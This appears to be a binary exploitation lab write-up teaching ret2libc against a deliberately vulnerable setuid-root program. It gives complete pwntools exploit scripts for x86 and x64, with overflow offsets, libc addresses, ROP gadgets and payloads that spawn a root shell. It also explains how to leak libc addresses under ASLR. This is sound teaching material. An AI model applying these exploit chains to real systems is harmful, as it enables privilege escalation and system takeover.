ret2libc Attack (x86)

Overview

This attack avoids placing shellcode on the stack (useful when NX/DEP is enabled) by returning into libc and invoking system("/bin/sh"). Control is gained via a stack buffer overflow in receive_feedback(); the exploit overwrites the saved return address (EIP) with the address of system in libc and places the string pointer "/bin/sh" as its argument on the stack.


Target Summary and Vulnerability

#include <stdio.h>
 
int secret_function() {
    asm("jmp %esp");
}
 
void receive_feedback()
{
    char buffer[64];
 
    puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
    gets(buffer);
}
 
int main()
{
    setuid(0);
    setgid(0);
 
    receive_feedback();
 
    return 0;
}
  • Vulnerability: gets writes past the 64-byte buffer → stack buffer overflow.
  • Privilege context: setuid(0); setgid(0); before input; a spawned shell inherits elevated privileges.
  • Note: The program contains a secret_function() with jmp %esp, but ret2libc does not need it. We reuse libc code instead of executing stack-resident code.

High-level Plan

  1. Find the EIP offset (here: padding = 76).
  2. Resolve libc addresses: libc_base, system, and the string "/bin/sh" inside libc.
  3. Craft a stack frame such that RET → system, retaddr → (exit/0), and arg0 → &"/bin/sh".
  4. Trigger the overflow; execution returns into system("/bin/sh").

Exploit Walkthrough

1) Environment and Launcher

exe = './secureserver'
elf = context.binary = ELF(exe, checksec=False)
io  = start()
context.log_level = 'debug'
  • Standard pwntools setup; start() toggles local/GDB/remote execution.

2) Libc Layout (static Values with ASLR disabled)

libc_base = 0xf7dba000          # determined manually for this environment
system    = libc_base + 0x45040 # offset of system within libc
binsh     = libc_base + 0x18c338# address of "/bin/sh" string within libc
  • These addresses assume ASLR is OFF and you’re using the exact libc that matches these offsets.
  • In real/remote scenarios (ASLR ON), you must leak a libc address at runtime (e.g., puts@plt leak of a GOT entry) and compute libc_base dynamically.

3) Control Offset

padding = 76
  • Bytes to reach and overwrite the saved EIP. Typically obtained via cyclic()/cyclic_find() or debugging in GDB.

4) Payload Layout (cdecl, x86)

payload = flat(
    asm('nop') * padding,  # filler up to saved EIP
    system,                # saved EIP → system()
    0x0,                   # fake return address (could be exit in libc)
    binsh                  # arg0 to system(): pointer to "/bin/sh"
)
  • cdecl (x86) passes arguments on the stack:

    [ offset .. ] [ EIP = &system ] [ retaddr (exit/0) ] [ arg0 = &"/bin/sh" ]
                                    ^ on RET from system, execution would go here
  • Using a real exit address (e.g., libc_base + exit_offset) instead of 0x0 is cleaner; it avoids crashing after system returns.

5) Delivery

write('payload', payload)      # artifact for inspection/replay
io.sendlineafter(b':', payload)
io.interactive()               # interact with the spawned shell

How to Obtain the Libc symbols/offsets

  • With ASLR OFF (local):
    • Identify the libc in use (e.g., ldd ./secureserver), then:
      • readelf -s libc.so.6 | grep ' system@' → symbol index (not address at runtime).
      • objdump -T libc.so.6 | grep ' system$'offset of system in libc.
      • strings -a -tx libc.so.6 | grep '/bin/sh' → offset of "/bin/sh".
    • Compute system = libc_base + system_offset, binsh = libc_base + binsh_offset.
    • libc_base can be taken from vmmap/info proc mappings in GDB when ASLR is disabled.
  • With ASLR ON (realistic/remote):
    1. Leak a libc address using a format string or a PLT+GOT read (e.g., puts@plt(puts@got)).
    2. Compute libc_base = leaked_puts - puts_offset.
    3. Derive system = libc_base + system_offset, binsh = libc_base + binsh_offset.
    4. Build and send the ret2libc payload.

Mitigations and Assumptions

  • NX/DEP: ret2libc is effective even if NX is ON, since it executes code in libc (RX) rather than on the stack.
  • PIE: If PIE is ON, program text addresses are randomized; ret2libc still works since we pivot into libc, but you still need a leak to compute libc_base (unless ASLR is off).
  • Canary: If a stack canary is present, it must be bypassed or leaked before overwriting saved EIP.
  • ASLR: The example uses fixed addresses (ASLR OFF). For portability, implement the leak → compute → call stage.

Debugging Tips

  • In GDB:
    • checksec (pwndbg) to see NX/PIE/canary/RELRO.
    • b *system and x/s binsh to confirm resolves.
    • After sending the payload, observe the stack at esp to verify:
      • top → retaddr (exit/0)
      • next → &"/bin/sh"

Key Takeaways

  1. Code-reuse over shellcode: ret2libc executes existing libc functions, bypassing NX.
  2. Argument control via stack (x86): place "/bin/sh" pointer after the return address to system.
  3. Reliance on correct libc resolution: with ASLR OFF you can hardcode; with ASLR ON you must leak and compute.
  4. Clean return path: use exit as the return address from system for stability.

Ret2libc Attack (x64)

Troubleshooting stack misalignment: 1.17 - x64 ROP Stack Alignment Fix

Overview

Exploit a stack overflow in a 64-bit binary to call system("/bin/sh") without injecting shellcode (works with NX enabled). On SysV AMD64, the first argument must be in RDI, so we build a tiny ROP chain that sets RDI = &“/bin/sh” and then transfers control to system. We also fix stack alignment to avoid SIMD crashes inside glibc.


Preconditions (this setup)

  • NX: Enabled (fine for ret2libc).
  • PIE: Disabled (No PIE), so main binary gadgets (e.g., pop rdi ; ret) are at fixed addresses.
  • ASLR: Disabled; libc base is constant for the current run (hardcoded).
  • Canary: Not present.

Key Calling-convention Points (x64)

  • SysV AMD64 passes the first argument in RDI (not on the stack).
  • Many glibc functions (including system) assume the stack is 16-byte aligned at call sites.

Exploit Steps (what Each part of the Script does)

  1. Context & target

    exe = './secureserver'
    elf = context.binary = ELF(exe, checksec=False)
    p = process(exe)

    Loads the binary for symbol/gadget resolution and launches the process.

  2. Offset to saved RIP

    padding = asm('nop') * 72

    72 bytes reaches the saved RIP (determined previously via cyclic/cyclic_find or debugging).

  3. Gadgets from the main binary

    rop = ROP(elf)
    ret     = rop.find_gadget(['ret']).address          # 1-instruction, fixes alignment
    pop_rdi = rop.find_gadget(['pop rdi']).address      # loads arg0 into RDI
    • pop rdi ; ret sets up RDI with our argument.
    • The single ret before that flips stack parity to meet 16-byte alignment expectations inside glibc.
  4. libc symbols and data (ASLR off)

    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc.address = 0x00007ffff7da8000     # fixed base (ASLR off)
    system = libc.symbols.system
    binsh  = next(libc.search(b'/bin/sh\x00'))
    • Resolves system and the "/bin/sh" string pointer using the known libc base.
  5. ROP chain layout

    payload = flat(
        padding,    # overflow to saved RIP
        ret,        # alignment fix (important on x64)
        pop_rdi,    # set RDI
        binsh,      # RDI = &"/bin/sh"
        system,     # call system(RDI)
    )

    Execution flow:

    • Overwrite RIP → ret (align stack)
    • pop rdi ; ret → RDI = &"/bin/sh"
    • RIP = system → spawns a shell

    Optional: append libc.sym['exit'] after system for a clean return when the shell exits.

  6. Send payload and interact

    write('payload', payload)
    p.sendlineafter(b':', payload)   # if the target doesn’t print “:”, use p.sendline(payload)
    p.interactive()

Stack Alignment Note (why the Extra ret)

  • Glibc often emits movaps in system/do_system, which requires 16-byte stack alignment.
  • Pure ROP via ret commonly leaves %rsp misaligned by 8 bytes → crash at movaps.
  • A single ret gadget before the first argument gadget fixes the parity.

Rule of thumb: In x64 ret2libc chains, add one ret before pop rdi ; ret unless you’ve verified alignment in GDB.


Quick Validation Checklist

  • checksec shows NX enabled, PIE disabled.
  • Offsets: 72 bytes to saved RIP.
  • Gadgets: pop rdi ; ret resolves in the main binary; ret gadget available.
  • libc: base, system, and "/bin/sh" all point into the same libc used by the process.
  • If you see movaps … not aligned to 16 bytes in a crash, insert (or keep) the single ret before pop rdi ; ret.

Minimal ret2libc (x64) Pattern

payload = flat(
    b'A'*72,
    ret,          # align
    pop_rdi,
    binsh,
    system,
    # libc.sym['exit']  # optional
)

This constitutes the standard, reliable x64 ret2libc chain when NX is on, PIE is off, and libc base is known.

Resources


LinkDescription
1.17 - x64 ROP Stack Alignment FixTroubleshooting stack misalignment